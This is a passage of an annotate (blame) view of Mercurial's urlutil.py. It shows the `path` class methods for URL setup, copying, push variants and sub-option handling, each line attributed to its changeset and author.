parents:
diff
changeset
|
845 |
""" |
47185
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
846 |
if ui is None: |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
847 |
# used in copy |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
848 |
assert name is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
849 |
assert rawloc is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
850 |
assert suboptions is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
851 |
return |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
852 |
|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
853 |
if not rawloc: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
854 |
raise ValueError(b'rawloc must be defined') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
855 |
|
49694
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48946
diff
changeset
|
856 |
self.name = name |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
857 |
|
49694
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48946
diff
changeset
|
858 |
# set by path variant to point to their "non-push" version |
49696
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
859 |
self.main_path = None |
49694
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48946
diff
changeset
|
860 |
self._setup_url(rawloc) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
861 |
|
48238
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
862 |
if validate_path: |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
863 |
self._validate_path() |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
864 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
865 |
_path, sub_opts = ui.configsuboptions(b'paths', b'*') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
866 |
self._own_sub_opts = {} |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
867 |
if suboptions is not None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
868 |
self._own_sub_opts = suboptions.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
869 |
sub_opts.update(suboptions) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
870 |
self._all_sub_opts = sub_opts.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
871 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
872 |
self._apply_suboptions(ui, sub_opts) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
873 |
|
49694
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48946
diff
changeset
|
874 |
def _setup_url(self, rawloc): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
875 |
# Locations may define branches via syntax <base>#<branch>. |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
876 |
u = url(rawloc) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
877 |
branch = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
878 |
if u.fragment: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
879 |
branch = u.fragment |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
880 |
u.fragment = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
881 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
882 |
self.url = u |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
883 |
# the url from the config/command line before dealing with `path://` |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
884 |
self.raw_url = u.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
885 |
self.branch = branch |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
886 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
887 |
self.rawloc = rawloc |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
888 |
self.loc = b'%s' % u |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
889 |
|
49756
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
890 |
def copy(self, new_raw_location=None): |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
891 |
"""make a copy of this path object |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
892 |
|
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
893 |
When `new_raw_location` is set, the new path will point to it. |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
894 |
This is used by the scheme extension so expand the scheme. |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
895 |
""" |
47185
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
896 |
new = self.__class__() |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
897 |
for k, v in self.__dict__.items(): |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
898 |
new_copy = getattr(v, 'copy', None) |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
899 |
if new_copy is not None: |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
900 |
v = new_copy() |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
901 |
new.__dict__[k] = v |
49756
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
902 |
if new_raw_location is not None: |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49740
diff
changeset
|
903 |
new._setup_url(new_raw_location) |
47185
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
904 |
return new |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
905 |
|
49696
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
906 |
@property |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
907 |
def is_push_variant(self): |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
908 |
"""is this a path variant to be used for pushing""" |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
909 |
return self.main_path is not None |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
910 |
|
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
911 |
def get_push_variant(self): |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
912 |
"""get a "copy" of the path, but suitable for pushing |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
913 |
|
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
914 |
This means using the value of the `pushurl` option (if any) as the url. |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
915 |
|
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
916 |
The original path is available in the `main_path` attribute. |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
917 |
""" |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
918 |
if self.main_path: |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
919 |
return self |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
920 |
new = self.copy() |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
921 |
new.main_path = self |
49706
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
922 |
if self._pushloc: |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
923 |
new._setup_url(self._pushloc) |
49696
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
924 |
return new |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49694
diff
changeset
|
925 |
|
49706
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
926 |
def pushloc(self): |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
927 |
"""compatibility layer for the deprecated attributes""" |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
928 |
from .. import util # avoid a cycle |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
929 |
|
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
930 |
msg = "don't use path.pushloc, use path.get_push_variant()" |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
931 |
util.nouideprecwarn(msg, b"6.5") |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
932 |
return self._pushloc |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
933 |
|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
934 |
def _validate_path(self): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
935 |
# When given a raw location but not a symbolic name, validate the |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
936 |
# location is valid. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
937 |
if ( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
938 |
not self.name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
939 |
and not self.url.scheme |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
940 |
and not self._isvalidlocalpath(self.loc) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
941 |
): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
942 |
raise ValueError( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
943 |
b'location is not a URL or path to a local ' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
944 |
b'repo: %s' % self.rawloc |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
945 |
) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
946 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
947 |
def _apply_suboptions(self, ui, sub_options): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
948 |
# Now process the sub-options. If a sub-option is registered, its |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
949 |
# attribute will always be present. The value will be None if there |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
950 |
# was no valid sub-option. |
48913
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48743
diff
changeset
|
951 |
for suboption, (attr, func) in _pathsuboptions.items(): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
952 |
if suboption not in sub_options: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
953 |
setattr(self, attr, None) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
954 |
continue |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
955 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
956 |
value = func(ui, self, sub_options[suboption]) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
957 |
setattr(self, attr, value) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
958 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
959 |
def _isvalidlocalpath(self, path): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
960 |
"""Returns True if the given path is a potentially valid repository. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
961 |
This is its own function so that extensions can change the definition of |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
962 |
'valid' in this case (like when pulling from a git repo into a hg |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
963 |
one).""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
964 |
try: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
965 |
return os.path.isdir(os.path.join(path, b'.hg')) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
966 |
# Python 2 may return TypeError. Python 3, ValueError. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
967 |
except (TypeError, ValueError): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
968 |
return False |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
969 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
970 |
@property |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
971 |
def suboptions(self): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
972 |
"""Return sub-options and their values for this path. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
973 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
974 |
This is intended to be used for presentation purposes. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
975 |
""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
976 |
d = {} |
48913
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48743
diff
changeset
|
977 |
for subopt, (attr, _func) in _pathsuboptions.items(): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
978 |
value = getattr(self, attr) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
979 |
if value is not None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
980 |
d[subopt] = value |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
981 |
return d |